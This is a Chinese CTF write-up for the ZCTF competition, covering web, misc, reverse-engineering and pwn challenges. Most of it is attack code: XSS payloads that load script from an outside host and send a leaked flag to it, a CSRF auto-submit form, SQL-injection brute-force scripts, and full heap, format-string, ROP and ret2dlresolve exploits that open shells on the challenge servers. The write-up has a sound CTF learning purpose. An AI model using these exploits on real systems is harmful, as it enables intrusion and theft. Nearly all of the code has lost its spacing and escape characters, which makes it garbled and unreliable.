Misc-Sign in
據說有12s麒麟臂。
Web-web100
網頁設計得很簡單,首頁只返回了ha? 沒有其他鏈接,猜到可能會有源碼。嘗試過後在.index.php.swp文件中得到php源碼
限制flag參數的md5必須為一個固定的0e開頭的md5,並在同時在字符串中包含zctf,然後會輸出flag。寫好代碼爆破一番得到zctf00=a8。得到flag


一開始會覺得是一個博客站,邏輯比較複雜,後來發現其實只有contact.php 文件中有一個留言功能,結合網站部署有csp。猜測是xss漏洞。然後測試4個參數。只有textarea有過濾,其他地方感覺不能正常寫入html。然後textarea的過濾相當嚴格。找了很多用來加載外部資源的html關鍵字都被過濾。然後大師傅發現是高版本的jquery庫,可以利用sourceMappingURL加載外部資源。最後成功的payload是
</textarea><script>vara=1//@sourceMappingURL=//xss.site</script>
在服務器的http request裡面user-agent中發現flag


打開APK後發現有兩個窗口,一個用於驗證用戶名密碼,一個用於提交郵件,APK會將用戶名密碼等信息提交到遠程服務器做驗證,提交前會對用戶的輸入做一次簡單的加密。
加密函數位於libnative-lib.so中的Change函數中,如下,主要是使用密鑰對數據進行循環的異或加密。在加密前會將輸入字符串逆序。加密後轉化為十六進制。
在加密前,changekey函數會對密鑰做簡單的修改,大概的邏輯是對原字符串每隔2個取一個字符。因此,在java層傳入的密鑰「1234567890」經過變換後成為「1470」。
因此根據上面的分析,可以寫出與原APK邏輯一致的Python腳本
importrequestsdefenc(data):key='1470'*30data=data[::-1]result=[]foriinrange(len(data)):tmp=ord(key[i])^ord(data[i])result.append(tmp)return''.join(['%.2x'%iforiinresult])defstep1(username,password):reply=requests.post('http://58.213.63.30:10005/',data={'username':enc(username),'password':enc(password)})printreply.textreturnreply.json()defstep2(username,password,mail,title,body):#body=40454641&password=0305&title=404546&username=&mail=4645reply=requests.post('http://58.213.63.30:10005/mail.php',data={'username':enc(username),'password':enc(password),'mail':enc(mail),'title':enc(title),'body':enc(body)})printreply.textreturnreply.json()if__name__=='__main__':username='1'password='2'mail='3'title='4'body='5'ifstep1(username,password)['result']=='OK':step2(username,password,mail,title,body)
隊裡的師傅反編譯apk後查看邏輯,發現就是將數據內容與密鑰1470循環亦或後正常的post提交。有兩個頁面,index.php用來登錄 mail.php用來發郵件。首先發現參數有sql關鍵字的過濾,然後參數內容用『or 1=1#發現user返回了admin,但是result還是false,不能進行下一步發郵件的操作。然後思考能不能用union或者盲注把admin用戶的password跑出來。但是()被過濾,不能使用函數,時間盲注不了,然後password字段被過濾,布爾值注入也不能成功。然後發現用union%0aselect能成功繞過過濾,into被過濾,也不能成功寫文件。然後可用的關鍵字還有order by。兩者結合發現自己union注入出來的列和原本的admin列同時存在的時候order by 3。然後回顯中出現了username的那一列相對字典序要小一點。和盲注差不多就能跑出來了。認證過程放入step1函數,注入代碼如下
foriinstring.printable:username="'or1=1unionxa0select2,'233','%s'orderby3#"%iprintusernameifstep1(username,password)['username']=='admin':printlastbreaklast=i
注入出來後md5解密。第二個接口是phpmailer漏洞,結合hint根目錄不可寫,在upload目錄下寫入php,得到flag


大概瀏覽網站,有註冊,登陸,修改個人資料,記錄note,搜索note,提交bug這幾個功能。
然後挨着測試是否有功能缺陷。admin是系統自帶的,所以猜測flag在admin用戶哪裡。可以利用xss進入管理員賬號。然後發現有交互的功能只存在於提交bug那裡。然後發現漏洞鏈接那裡存在xss漏洞。而且xss漏洞進去那個頁面存在注入。後來才知道是設計不完善,於是重新思考,猜測會模擬管理員去點擊提交的那一個鏈接,可以利用javascript偽協議或者csrf漏洞+selfxss。選擇的後者,在更改個人資料的時候發現並沒有驗證csrftoken,所以寫了一個利用csrf的html網頁
<formid="ffrom"action="http://58.213.63.30:10003/checkProfile.php"method="POST"id="profile"enctype="multipart/form-data"><inputtype="file"id="image"name="image"data-filename-placement="inside"style="left:-179.99px;top:19.3333px;"></a><inputname="nick"id="nick"value="<scriimgptsrc=//xss.site/1.js>/*"><inputname="age"id="age"value="2"><inputname="address"id="address"value="</scripimgt>"><inputclass="btnbtn-primary"id="submit"name="submit"type="submit"value="Submit"></div></form><script>submit.click()</script>
只要讓服務器的bot先訪問csrf網頁,在訪問首頁就可以了。這樣能成功xss到管理員。但是cookie有httponly標記,所以不能直接用管理員賬號登錄。讀取了note.php網頁後發現裡面並沒有flag。然後就思考會不會是利用search.php枚舉flag。然後寫出js代碼。
tab="_0123456789abcdefghijklmnopqrstuvwxyz}"str=''$.ajaxSettings.async=falsewhile(true){for(i=0;i<tab.length;i++){//console.log(tab[i]);flag=falsex=$.get('http://58.213.63.30:10003/search.php?keywords=zctf{'+str+''+tab[i]);if(x.status==404)flag=true;if(!flag)break;}str+=tab[i];console.log(str);if(tab[i]=='}')break;}location.href=』//xss.site』+str
其中有一個小坑,flag中包含_,而search.php代碼里sql查詢用的like來判斷,直接輸入_會被理解為匹配任意單個字符。需要用轉義。$.get默認是異步提交,用$.ajaxSettings.async=false設置成同步提交,服務器正常執行完成後能夠得到flag


偽加密,我們可以利用010 Editor編輯器的模板功能,能更好的修改加密位。
deFlags 都修改為0
修改保存後,就能成功解壓了。
後面隊友發現,這是minecraft,遊戲文件,打開後,FLAG在遊戲地圖中。
Misc-whisper
PNG用stegsolve打開看到某通道里有三個人名,rsa的作者,此為hint1。
打開starhere.exe,看到如下:
44個字節,每個字節逐位判斷,這裡有兩個方法,第一個方法比較暴力,直接爆破字節看進correct的次數,用angr什麼的都可以。第二個就是自己分析了。主要是sub_401000函數。進去後發現:
一個rsa,和hint1的提示相符,e是65537,n是那串,隨便就能分解,太小了,然後解4010b0裡面的那44個數即可:
n=2344088051p=46099q=50849e=65537importprimefacd=primefac.modinv(e,(p-1)*(q-1))%((p-1)*(q-1))v=[1]*100v[15]=622838535v[16]=0x1E53E463v[17]=0x217153B7v[18]=0xED044EBv[19]=0x26EC91AFv[20]=0x4F8C7090v[21]=0x45E4F9BBv[22]=0x26EC91AFv[23]=0x6D04B642v[24]=0x26EC91AFv[25]=0xFF559EEv[26]=0x1E53E463v[27]=0x55C81190v[28]=0x55C81190v[29]=0x58006440v[30]=0x217153B7v[31]=0x26EC91AFv[32]=0x35F1D9B2v[33]=0x4D3D8957v[34]=0x35F1D9B2v[35]=0x26EC91AFv[36]=0x7172720Ev[37]=0x1E53E463v[38]=0x6AC5D9F7v[39]=0x58006440v[40]=0x4710F19Dv[41]=653037999v[42]=1476420672v[43]=561075127v[44]=2095854527v[45]=-2030465449v[46]=1439175056v[47]=1476420672v[48]=1439175056v[49]=653037999v[50]=508814435v[51]=561075127v[52]=653037999v[53]=839707766v[54]=1829025346v[55]=1751579215v[56]=1476420672v[57]=695921644v[58]=872207435foriinrange(15,59):printchr(pow(v[i],d,n)%256),
此為hint2。
Hint1.png用winhex打開,後面一很大一串字符串
將數據拷貝出來,base64解密,將解密後的文件binwalk分離
可以直接從文件中找到rar的密碼,解密得flag
Reverse-QExtend
這個程序有少量混淆,第一個是用call+pop指令使得ida沒法正常反編譯,第二個是修改了函數的返回地址。
在ida中進行修復到能正常f5.
分析功能,發現是個漢諾塔遊戲。
初始狀態:
需要達到的狀態:
各操作碼對應的操作:
手工完了下漢諾塔,得到的最短路徑為053254104123104524104
操作碼為input[i]%16-1,所以爆破了一下input,最終得到的flag為:
ZCTF{A&$#&5rA5r#$rA5rA5}


符號沒去掉,encrypt_str函數,逆向完後發現是xtea算法,秘鑰為:
print(chr(222)+chr(173)+chr(190)+chr(239)).encode("hex")deadbeef
處理一下xtea解密即可得到flag,16字節有些許問題,補齊,然後利用python的xtea解密即可:
fromxteaimport*x=new(k,mode=MODE_ECB)printx.decrypt(v5)
Reverse-CryptTab
1. 首先是一個壓縮包,有密碼,不過在文件的末尾得到了壓縮密碼,解壓得到一個data文件。
2. 看起來像shellcode,就用ida打開分析。發現對0x17開始的0x2200字節進行了0xcc異或操作。異或之後分析發現後面有一個dll,將其提取出來,用ida打開,可以發現導出了一個Encrypt函數。
3. 從程序上看代碼異或解密完之後直接跳轉到sub_17函數。分析sub_17函數,發現是一個獲取kernel32.dll的地址,然後就執行不下去了,坑。
從ida的調用圖上猜這兒應該跳轉到sub_131。
4. 分析sub_131,有發現需要參數ebx,但是ebx賦什麼並不知道,坑。
後來分析到sub_44,該函數為獲取庫函數的地址,第一個參數為dll的地址,第二個參數為函數的hash值,第二個參數從[ebx+1]處取得。
因為shellcode一般需要獲取LoadLibraryA函數地址,算了一下LoadLibraryA的hash值為0xec0e4e8e,然後在shellcode中搜索這個值,還真找到了。
string='LoadLibraryA'defrol(a):return((a<<0x13)|(a>>(32-0x13)))&0xffffffffc=0foriinrange(len(string)):c=rol(c)+ord(string[i])printhex(c)
所以ebx的值應該為0x310。
向下分析,可以看到程序得到了LoadLibrayA、VirtualAlloc和VirtualFree3個函數的地址,然後又執行不下去了,坑。
5. 然後就對着函數猜了。
應該就是對0x156處的0x10個字節和0x166處的0x30字節作為輸入,加密得到的值與0x19a處的0x30字節進行比較。
6. 後面就是分析Encrypt函數,各種交換移位,我這種算法渣只能想到爆破了。
註:以下代碼格式有修改,請讀者自行調整。
intmain(){unsignedcharstr[0x100]="xF3x23xB5xA6xF5x6AxCBx88xD2xC6xD2x2Fx32xB9xC3xAAx32x9ExADxEEx8Cx22x2Dx45x62x67xFBxD9x64x46xF8xE7xC8x20x35x86xE9x98xBFxD5x55xCAx8Bx85x67x76x19x9A";printf("len=%dn",strlen((char*)str));HMODULEhandle=LoadLibraryA("DLL_Export.dll");ENCRYPTProcAddr;ProcAddr=(ENCRYPT)GetProcAddress(handle,"Encrypt");printf("%xn",ProcAddr);unsignedcharc1[]="x21x23x25x26x2a";unsignedcharc3[]="x43x45x47x49x4b";unsignedcharc2[]="x35x36x37x38x39";unsignedcharinput[17];//for(inti0=0;i0<5;i0++) inti0=4; printf("i0=%dn",i0); { for(inti1=0;i1<5;i1++) { printf("i1=%dn",i1); for(inti2=0;i2<5;i2++) {for(inti3=0;i3<5;i3++){printf("i3=%dn",i3);for(inti4=0;i4<5;i4++){ for(inti5=0;i5<5;i5++) {for(inti6=0;i6<5;i6++){ for(inti7=0;i7<5;i7++){ for(inti8=0;i8<5;i8++) {for(inti9=0;i9<5;i9++){for(inti10=0;i10<5;i10++){ for(inti11=0;i11<5;i11++) {for(inti12=0;i12<5;i12++){for(inti13=0;i13<5;i13++){ for(inti14=0;i14<5;i14++) {input[0]=c1[i0];input[1]=c2[i1];input[2]=c3[i2];input[3]=c1[i3];input[4]=c2[i4];input[5]=c3[i5];input[6]=c1[i6];input[7]=c2[i7];input[8]=c3[i8];input[9]=c1[i9];input[10]=c2[i10];input[11]=c3[i11];input[12]=c1[i12];input[13]=c2[i13];input[14]=c3[i14];input[15]='x24';input[16]='x00';unsignedchardata[0x100]="x38x9Bx50xCEx86xDDxF0x1Dx0DxC3xD6xE2xF2x29xD3x83x6CxE8x86x5Fx95xE6x4Fx63x5Fx3Bx9Bx5Fx53xBCx41x2Ax49x08x02xAAx10xECx2Cx58xD5x27xCDx93x38x10xE4xDC";unsignedchar*output;__asm{pushesileaesi,inputpushesileaesi,data;callProcAddrmovoutput,eaxpopeaxpopesi}if(!memcmp(output,str,0x30)){printf("%sn",input);} } } } }} } }} } }} } }} }}
等到爆出來的時候,比賽已經結束了。爆出來為:
%6K#7E&5C*9G!8I$
當然這還不是最終結果,還要用這個作為密鑰,去AES解密加密表,才能得到flag。。。
Pwn-login
sprintf裡面的格式化字符串的內容可以被自身的格式化給覆蓋掉,把%s:%s覆蓋掉,覆蓋成%hhn,然後格式化來改寫check_stack_fail的最後一字節,拿shell的時候 ,不能用system拿,不能用system拿,環境變量被棧覆蓋掉了:
fromzioimport*target=("58.213.63.30",4002)defget_io(target):r_m=COLORED(RAW,"green")w_m=COLORED(RAW,"blue")io=zio(target,timeout=9999,print_read=r_m,print_write=w_m)returniodefgen_rop_data(func_addr,args,pie_text_base=0):p_ret=[0x0804844e,0x08048465,0x0804891a,0x08048919,0x08048918]rop_data=''rop_data+=l32(func_addr)iflen(args)>0:rop_data+=l32(p_ret[len(args)]+pie_text_base)forarginargs:rop_data+=l32(arg)returnrop_datadefpwn(io):puts_got=0x0804a01coffset_puts=0x656a0puts_plt=0x080484c0read_plt=0x08048480read_buff_addr=0x0804862Bcheck_stack_fail_got=0x804A014bss_addr=0x0804a000+0xe20leave_ret=0x08048715pop_ebp_ret=0x0804871f#:popebp;retusername=""#username+='bbbb'username+=l32(check_stack_fail_got)username+="a"*0x4C#username+="bbbb"username+=gen_rop_data(puts_plt,[puts_got])username+=gen_rop_data(read_buff_addr,[bss_addr,0x01010101])username+=l32(pop_ebp_ret)+l32(bss_addr)username+=l32(leave_ret)#username+=gen_rop_data(puts_plt,[puts_got+4])printhex(len(username)),hex(0xd6-0x5c-4)#username=username.ljust(0xd6-0x5c-4,'a')#username+="%s:%s.%p.%p.%p.%p.%p"#+"%p."*4#username+="%x.".ljust(8,'-')*10#username+="aa:"username=username.ljust(0xc0,'a')username+='a'*(0x66-0x43)username+="%9$hhn.".ljust(10,'-')#username+="%9$p.".ljust(10,'-')username=username.ljust(0x100-1,'a')password=""password+='w'*0x40io.read_until(":")io.writeline(username)io.read_until(":")#io.gdb_hint()io.writeline(password)io.read_until("")io.read_until("Loginsuccessful!n")io.read_until("n")data=io.read_until("n")printdataputs_addr=l32(data[:4])offset_system=0x3e800offset_execve=0xB59F0#"""#remoteoffset_system=0x3fe70offset_puts=0x64da0offset_execve=0xB4EA0#"""libc_base=puts_addr-offset_putssystem_addr=libc_base+offset_systemexecve_addr=libc_base+offset_execvepayload=""payload+=l32(0x0)payload+=gen_rop_data(execve_addr,[bss_addr+0x100,0,0])payload=payload.ljust(0x100,'a')payload+="/bin/shx00"payload+=l8(0x1f)io.gdb_hint()io.writeline(payload)io.interact()io=get_io(target)pwn(io)
Pwn-Dragon
存在堆溢出,可以修改堆結構中的size.
腳本如下:
frompwnimport*#r=remote('58.213.63.30',11501)r=process("./dragon")defadd(size,name,content):r.recvuntil('>>')r.sendline('1')r.recvuntil(':')r.sendline(str(size))r.recvuntil(':')r.sendline(name)r.recvuntil(':')r.sendline(content)defedit(id,content):r.recvuntil('>>')r.sendline('2')r.recvuntil(':')r.sendline(str(id))r.recvuntil(':')r.write(content)defshow(id):r.recvuntil('>>')r.sendline('4')r.recvuntil(':')r.sendline(str(id))defdelete(id):r.recvuntil('>>')r.sendline('3')r.recvuntil(':')r.sendline(str(id))add(0x20,'AAAA','AAAA')add(0x20,'AAAA','A'*0x18)add(0x20,'AAAA','A'*0x18)edit(0,'A'*0x18+p64(0xd1))#note1delete(1)add(0x20,'AAAA','A'*0x18)strlen_got=0x602028add(0x10,'AAAA',p64(strlen_got)+'d'*0x10)edit(3,p64(strlen_got))#note2show(2)r.recvuntil('content:')strlen_addr=u64(r.readline()[:-1].ljust(8,'x00'))print"[*]strlenaddr:{0}".format(hex(strlen_addr))libc=ELF("./libc-2.19.so")#ELF("/lib/x86_64-linux-gnu/libc.so.6")libc_base=strlen_addr-libc.symbols['strlen']system_addr=libc_base+libc.symbols['system']edit(2,p64(system_addr))edit(0,'/bin/shx00')r.interactive()
Pwn-Class
在init函數中num*200+8存在整形溢出,num控制得當可以使得分配的空間很小。Setjmp會將當前的寄存器保存到堆上(部分寄存器進行了rol和異或加密)。通過show功能可以泄露出保存的寄存器值,通過edit功能可以修改這些值,然後通過longjmp改變程序的控制流程,因為rsp和rip都能被隨意修改,所以比較容易進行rop。
腳本:
fromthreadingimportThreadfromzioimport*target='./class'target=('58.213.63.30',4001)definteract(io):defrun_recv():whileTrue:try:output=io.read_until_timeout(timeout=1)#printoutputexcept:returnt1=Thread(target=run_recv)t1.start()whileTrue:d=raw_input()ifd!='':io.writeline(d)defrerol(d):return((d<<(64-0x11))+(d>>0x11))&0xffffffffffffffffdefrol(d):return((d<<0x11)+(d>>(64-0x11)))&0xffffffffffffffffdefshow(io,id):io.read_until('>>')io.writeline('2')io.read_until(':')io.writeline(str(id))io.read_until('name:')r12=l64(io.read_until(',')[:-1].ljust(8,'x00'))print'r12',hex(r12)io.read_until('addr:')enc_rsp=l64(io.read(8))enc_rip=l64(io.read_until(',')[:-1].ljust(8,'x00'))base=r12-0xaa0print'enc_rsp',hex(enc_rsp)print'enc_rip',hex(enc_rip)real_rip=base+0x1495cookie=rerol(enc_rip)^real_ripprint'cookie',hex(cookie)real_rsp=rerol(enc_rsp)^cookieprint'real_rsp',hex(real_rsp)return(base,real_rsp,cookie)defedit(io,id,age,name,addr,introduce):io.read_until('>>')io.writeline('3')io.read_until(':')io.writeline(str(id))io.read_until(':')io.writeline(name)io.read_until(':')io.writeline(str(age))io.read_until(':')io.writeline(addr)io.read_until(':')io.writeline(introduce)defexp(target):io=zio(target,timeout=10000,print_read=COLORED(RAW,'red'),print_write=COLORED(RAW,'green'))io.read_until(':')io.writeline(str(92233720368547759))base,rsp,cookie=show(io,1)print'base',hex(base)fake_rsp=rsp-0x48pop_rdi_ret=base+0x000000000001523addr=l64(rol(fake_rsp^cookie))+l64(rol(pop_rdi_ret^cookie))printHEX(addr)edit(io,1,0,"",addr,"")io.read_until('>>')payload='5;'+'a'*6puts_got=0x0000000000202018+baseputs_plt=0x9a0+basemain=base+0x00000000000013ffpayload+=l64(puts_got)+l64(puts_plt)+l64(main)io.writeline(payload)puts_addr=l64(io.readline()[:-1].ljust(8,'x00'))'''base=puts_addr-0x000000000006F5D0system=base+0x0000000000045380print'system',hex(system)binsh=base+0x000000000018C58B'''base=puts_addr-0x000000000006FD60print'base',hex(base)system=base+0x0000000000046590binsh=base+0x000000000017C8C3#io.gdb_hint()io.read_until(':')io.writeline(str(92233720368547759))fake_rsp=rsp-0x80addr=l64(rol(fake_rsp^cookie))+l64(rol(pop_rdi_ret^cookie))printHEX(addr)io.gdb_hint()edit(io,1,0,"",addr,"")io.read_until('>>')payload='5;'+'a'*6payload+=l64(binsh)+l64(system)+l64(main)io.writeline(payload)#io.gdb_hint()interact(io)exp(target)
Pwn-sandbox
沙箱做了如下限制:對外的調用都通過jmp ds:dl_resolve出去,所以採用return-to-dlresolve進行利用。
腳本:
#encoding:utf-8importstructfromthreadingimportThreadfromzioimport*target='./sandbox./vul'#target='./vul'target=('58.213.63.30',4004)definteract(io):defrun_recv():whileTrue:try:output=io.read_until_timeout(timeout=1)#printoutputexcept:returnt1=Thread(target=run_recv)t1.start()whileTrue:d=raw_input()ifd!='':io.writeline(d)defwrite_16byte(io,addr,value):io.write('a'*0x10+l64(addr+0x10)+l64(0x400582))io.write(value+l64(0x601f00)+l64(0x400582))fake_relro=''fake_sym=''#link_map_addr=0x00007ffff7ffe1c8#closeaslr.(ifhasaslr,needleak)#link_map_addr=0x7ffff7ffe168defgenerate_fake_relro(r_offset,r_sym):returnl64(r_offset)+l32(7)+l32(r_sym)+l64(0)defgenerate_fake_sym(st_name):returnl32(st_name)+l8(0x12)+l8(0)+l16(0)+l64(0)+l64(0)#versym=0x40031esymtab=0x4002b8strtab=0x400330jmprel=0x4003b8bss_addr=0x601058#.bssaddr=0x601058#0x155dc*0x18+0x4003b8=0x601058#soindex=0x155dc#0x155e8*0x18+0x4002b8=0x601078#sor_sym=0x155e8#0x200d68+0x400330=0x601098#sost_name=0x200d68defwrite_any(io,addr,value):printhex(addr),hex(value)io.read_until(':n')io.writeline('0')io.write(l64(addr)+l64(value))defexp(target):io=zio(target,timeout=10000,print_read=COLORED(RAW,'red'),print_write=COLORED(RAW,'green'))pop_rdi_ret=0x0000000000400603pop_rsi_r15_ret=0x0000000000400601leak_addr=0x600ef0write_plt=0x0000000000400430pop_rbp_ret=0x4004d0leak_rop=l64(pop_rsi_r15_ret)+l64(leak_addr)+l64(0)+l64(pop_rdi_ret)+l64(1)+l64(write_plt)leak_rop+=l64(pop_rbp_ret)+l64(0x601f00)+l64(0x400582)foriinrange(0,len(leak_rop),8):write_16byte(io,0x601b00+i,leak_rop[i:i+8]+'x00'*8)leave_ret=0x40059dleak_stack_povit='a'*0x10+l64(0x601b00-0x8)+l64(leave_ret)io.write(leak_stack_povit)io.read_until(':')link_map_addr=l64(io.read(8))+0x28printhex(link_map_addr)r_offset=0x601970#awritableaddrr_sym=0x155e8fake_relro=generate_fake_relro(r_offset,r_sym).ljust(0x20,'x00')st_name=0x200d68fake_sym=generate_fake_sym(st_name).ljust(0x20,'x00')write_16byte(io,link_map_addr+0x1c8,'x00'*0x10)#write_16byte(io,0x600858,l64(0x6ffffff0)+l64(0x3d57d6))foriinrange(0,len(fake_relro),8):write_16byte(io,0x601058+i,fake_relro[i:i+8]+'x00'*8)foriinrange(0,len(fake_sym),8):write_16byte(io,0x601078+i,fake_sym[i:i+8]+'x00'*8)write_16byte(io,0x601098,'system'.ljust(16,'x00'))write_16byte(io,0x601a50,'/bin/sh'.ljust(16,'x00'))plt0=0x400420rop=l64(pop_rdi_ret)+l64(0x601a50)index=0x155dcrop+=l64(plt0)+l64(index)foriinrange(0,len(rop),8):write_16byte(io,0x601980+i,rop[i:i+8]+'x00'*8)stack_povit='a'*0x10+l64(0x601980-0x8)+l64(leave_ret)io.write(stack_povit)interact(io)exp(target)
Pwn-note
漏洞存在於edit中,有堆溢出。
此題採用talloc,不過talloc_free內部會調用free函數,所以採用unlink方法進行利用。
腳本:
fromthreadingimportThreadfromzioimport*target=('119.254.101.197',10000)target='./note'definteract(io):defrun_recv():whileTrue:try:output=io.read_until_timeout(timeout=1)except:returnt1=Thread(target=run_recv)t1.start()whileTrue:d=raw_input()ifd!='':io.writeline(d)defadd(io,title,size,content):io.read_until('>>')io.writeline('1')io.read_until(':')io.writeline(title)io.read_until(':')io.writeline(str(size))io.read_until(':')io.writeline(content)defedit(io,id,offset,content):io.read_until('>>')io.writeline('3')io.read_until(':')io.writeline(str(id))io.read_until(':')io.writeline(str(offset))io.read_until(":")io.writeline(content)defedit2(io,id,offset,content):count=len(content)/48printlen(content)printcountforiinrange(count):io.read_until('>>')io.writeline('3')io.read_until(':')io.writeline(str(id))io.read_until(':')io.writeline(str(offset+48*i))io.read_until(":")io.write(content[i*48:i*48+48])iflen(content[count*48:])>0:io.read_until('>>')io.writeline('3')io.read_until(':')io.writeline(str(id))io.read_until(':')io.writeline(str(offset+48*count))io.read_until(':')io.writeline(content[count*48:])defdelete(io,id):io.read_until('>>')io.writeline('4')io.read_until(':')io.writeline(str(id))defchange(io,id,title):io.read_until('>>')io.writeline('5')io.read_until(':')io.writeline(str(id))io.read_until(':')io.writeline(title)defexp(target):io=zio(target,timeout=10000,print_read=COLORED(RAW,'red'),print_write=COLORED(RAW,'green'))add(io,'%13$p',0x100,'111')#0x6030700x603110#0add(io,'222',0x100,'222')#0x6032800x603320#1add(io,'333',0x100,'333')#0x6034900x603530#2add(io,'444',0x100,'444')#0x6036a00x603740#3add(io,'sh;',0x100,'555')#0x6038b00x603950#4add(io,'666',0x100,'666')#0x603ac00x603b60#5delete(io,1)delete(io,2)heap_ptr=0x6020f0payload=l64(0)+l64(0x211)+l64(heap_ptr-0x18)+l64(heap_ptr-0x10)payload=payload[:-1]add(io,payload[:-1],0x300,'777')#0x6032800x603320#6add(io,'sh;',0x100,'888')#io.gdb_hint()offset=0x603490-0x603320#sizenextprevparentfake_head1=l64(0x210)+l64(0x90)+l64(0)+l64(0)+l64(0x603a60)#childrefsdescutornamesizeflagspoolpaddingfake_head2=l64(0)+l64(0)+l64(0)+l64(0x400dc4)+l64(0x100)+l64(0x00000000e8150c70)+l64(0)+l64(0)+l64(0)fake_head2=fake_head2.ljust(0x90-0x28,'x00')fake_head2+=l64(0)+l64(0x21)+'x00'*0x10+l64(0)+l64(0x21)fake_head1=fake_head1[:-6]payload='x00'+l64(0)+l64(0xa1)+l64(0)+l64(0)+l64(0)+l64(0x6034a0)payload=payload[:-6]edit(io,4,0x100-1,payload)edit2(io,6,offset,fake_head1)edit2(io,6,offset+0x28,fake_head2)delete(io,5)talloc_free_got=0x602048print_plt=0x4007E0title=l64(talloc_free_got)+l64(0)+l64(0)+l64(0x6020d0)title=title[:-2]change(io,6,title)change(io,3,l64(print_plt)[:-1])io.gdb_hint()delete(io,0)io.read_until('0x')main_ret=int(io.read_until('De')[:-2],16)base=main_ret-0x0000000000021EC5printhex(base)system=base+0x0000000000046640printhex(system)change(io,3,l64(system)[:-1])delete(io,7)interact(io)exp(target)
Pwn-Goodluck
條件競爭漏洞,g_index的值可以在主線程中修改,然後在第2個子線程中能實現任意地址+1操作。
read_int如果參數為0,可以棧溢出。
腳本:
fromthreadingimportThread#fromuploadflagimport*fromzioimport*target=('119.254.101.197',10000)target='./pwn2'defadd1(io,type,name,number,some):io.read_until("choice:")io.writeline('1')io.read_until("flower")io.writeline(str(type))io.read_until('name:')io.writeline(name)io.read_until('number:')io.writeline(str(number))io.read_until('again:')io.writeline(some)defadd2(io,type,name,much,price,some):io.read_until("choice:")io.writeline('1')io.read_until("flower")io.writeline(str(type))io.read_until('name:')io.writeline(name)io.read_until('want:')io.writeline(much)io.read_until('table:')io.writeline(price)io.read_until('something:')io.writeline(some)defshow(io,index):io.writeline('4')io.read_until('show')io.writeline(str(index))defdelete(io,index):io.writeline('2')io.read_until(cs7)io.writeline(str(index))defedit(io,index,data):io.writeline('3')io.read_until('edit:')io.writeline(str(index))io.read_until('something')io.writeline(data)definteract(io):defrun_recv():whileTrue:try:output=io.read_until_timeout(timeout=1)#printoutputexcept:returnt1=Thread(target=run_recv)t1.start()whileTrue:d=raw_input()ifd!='':io.writeline(d)defexp(target):io=zio(target,timeout=10000,print_read=COLORED(RAW,'red'),print_write=COLORED(RAW,'green'))add1(io,3,'bbbb',100,'ccccccccc')fake_index=(0x2031a0-0x203180)/8delete(io,0)delete(io,fake_index)io.read_until('delete0')show(io,0)io.read_until('s1->')data=io.read_until('')[:-1]code_base=l64(data.ljust(8,'x00'))-0x1040printhex(code_base)canary_addr=code_base+0x2031c0+1add2(io,2,'aaaa',str(canary_addr&0xffffffff),str(canary_addr>>32),'bbbbbbbb')delete(io,1)delete(io,fake_index+1)io.read_until('delete1')show(io,1)io.read_until("fakeshow!n")cookies=l64(io.read_until('n')[:-1].ljust(8,'x00'))<<8print'cookie',hex(cookies)add1(io,0,'cccc',100,'0517')io.gdb_hint()show(io,2)io.read_until('againn')puts_plt=code_base+0x0000000000000BC0puts_got=code_base+0x0000000000202F20pop_rdi_ret=code_base+0x0000000000001653read_int=code_base+0x0000000000000F80payload='a'*0x18+l64(cookies)+'aaaaaaaa'*5+l64(pop_rdi_ret)+l64(puts_got)+l64(puts_plt)+l64(pop_rdi_ret)+l64(0)+l64(read_int)io.writeline(payload)puts=l64(io.readline()[:-1].ljust(8,'x00'))libc_base=puts-0x000000000006F5D0printhex(libc_base)system=libc_base+0x0000000000045380binsh=libc_base+0x000000000018C58Bpayload='a'*0x18+l64(cookies)+'aaaaaaaa'*5+l64(pop_rdi_ret)+l64(binsh)+l64(system)io.writeline(payload)io.gdb_hint()interact(io)exp(target)

